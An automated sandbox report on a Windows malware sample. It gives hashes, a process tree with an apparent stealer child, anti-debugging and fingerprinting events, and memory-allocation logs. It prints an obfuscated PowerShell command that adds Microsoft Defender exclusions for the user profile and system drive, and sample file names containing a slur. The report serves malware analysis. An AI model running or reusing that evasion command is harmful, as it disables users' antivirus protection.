Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	May 28, 2023, 1:43 p.m.	May 28, 2023, 2:05 p.m.

Size	141.5KB
Type	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5	`25344f4f54ec2afff00c28ca9c2a1818`
SHA256	`ab43a51e3aeeb62be9d7c78800f45557b0131add4a882cf63f6c02e1c4421846`
CRC32	`B64E6C72`
ssdeep	`3072:KT4TeHj43Erh/LQo8F7FG0cAKOXN9l4necXq23zppMNPI7CVh:KUaj0SLb07FNvKOXDl4nzpwPI+`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description)

nigguy_1.exe "C:\Users\test22\AppData\Local\Temp\nigguy_1.exe"
804
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAZwBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZwB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AcgBxACMAPgA="
  2060
- nig_guy1.exe "C:\Users\test22\AppData\Roaming\nig_guy1.exe"
  2116
- stlr.exe "C:\Users\test22\AppData\Local\Temp\stlr.exe"
  2156

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 28, 2023, 1:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 28, 2023, 1:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 28, 2023, 1:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 28, 2023, 1:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 28, 2023, 1:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 28, 2023, 1:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 28, 2023, 1:36 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (5 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 28, 2023, 1:43 p.m.			0	0
IsDebuggerPresent May 28, 2023, 1:36 p.m.			0	0
IsDebuggerPresent May 28, 2023, 1:36 p.m.			0	0
IsDebuggerPresent May 28, 2023, 1:36 p.m.			0	0
IsDebuggerPresent May 28, 2023, 1:36 p.m.			0	0

Command line console output was observed (9 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 28, 2023, 1:43 p.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW May 28, 2023, 1:43 p.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW May 28, 2023, 1:43 p.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW May 28, 2023, 1:43 p.m.	buffer: At line:1 char:24 console_handle: 0x00000047	1	1
WriteConsoleW May 28, 2023, 1:43 p.m.	buffer: + <#tgd#>Add-MpPreference <<<< <#dzv#> -ExclusionPath @($env:UserProfile,$env: console_handle: 0x00000053	1	1
WriteConsoleW May 28, 2023, 1:43 p.m.	buffer: SystemDrive) <#egu#> -Force <#nrq#> console_handle: 0x0000005f	1	1
WriteConsoleW May 28, 2023, 1:43 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW May 28, 2023, 1:43 p.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW May 28, 2023, 1:43 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdcd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdd50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdd50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdd50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be5d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be5d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be5d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be5d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be5d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be5d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdd50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdd50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdd50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bde90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bde90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bde90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be690 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bde90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bde90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bde90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bde90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bde90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bde90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bde90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bdf10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be250 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be250 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be250 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be250 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be250 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be250 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be250 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 28, 2023, 1:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be250 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 28, 2023, 1:43 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ May 28, 2023, 1:36 p.m.	stacktrace: 0x7fe93f4540b 0x7fe93f439a3 0x7fe93f43278 mscorlib+0x4ef8a5 @ 0x7fef243f8a5 mscorlib+0x4ef609 @ 0x7fef243f609 mscorlib+0x4ef5c7 @ 0x7fef243f5c7 mscorlib+0x502d21 @ 0x7fef2452d21 CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef35ff713 CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef35ff242 CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef35ff30b NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef37c6291 DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef36a6d80 DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef36a6d0e DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef36a6c85 DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef36a6dbb NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef37c6175 StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef37366ae BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521 exception.instruction_r: 48 8b 00 48 8b 40 40 48 8b 4d 38 4c 8b 5d 38 ff exception.instruction: mov rax, qword ptr [rax] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x7fe93f4540b registers.r14: 0 registers.r15: 0 registers.rcx: 38173824 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 463863184 registers.r11: 463858880 registers.r8: 463856360 registers.r9: 463856416 registers.rdx: 0 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 0 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

May 28, 2023, 1:36 p.m.

stacktrace:

0x7fe93f4540b
0x7fe93f439a3
0x7fe93f43278
mscorlib+0x4ef8a5 @ 0x7fef243f8a5
mscorlib+0x4ef609 @ 0x7fef243f609
mscorlib+0x4ef5c7 @ 0x7fef243f5c7
mscorlib+0x502d21 @ 0x7fef2452d21
CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef35ff713
CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef35ff242
CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef35ff30b
NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef37c6291
DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef36a6d80
DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef36a6d0e
DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef36a6c85
DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef36a6dbb
NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef37c6175
StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef37366ae
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521

exception.instruction_r: 48 8b 00 48 8b 40 40 48 8b 4d 38 4c 8b 5d 38 ff
exception.instruction: mov rax, qword ptr [rax]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x7fe93f4540b
registers.r14: 0
registers.r15: 0
registers.rcx: 38173824
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 463863184
registers.r11: 463858880
registers.r8: 463856360
registers.r9: 463856416
registers.rdx: 0
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 217 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 458752 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02510000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02540000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0259a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02592000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02541000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02542000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0259b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
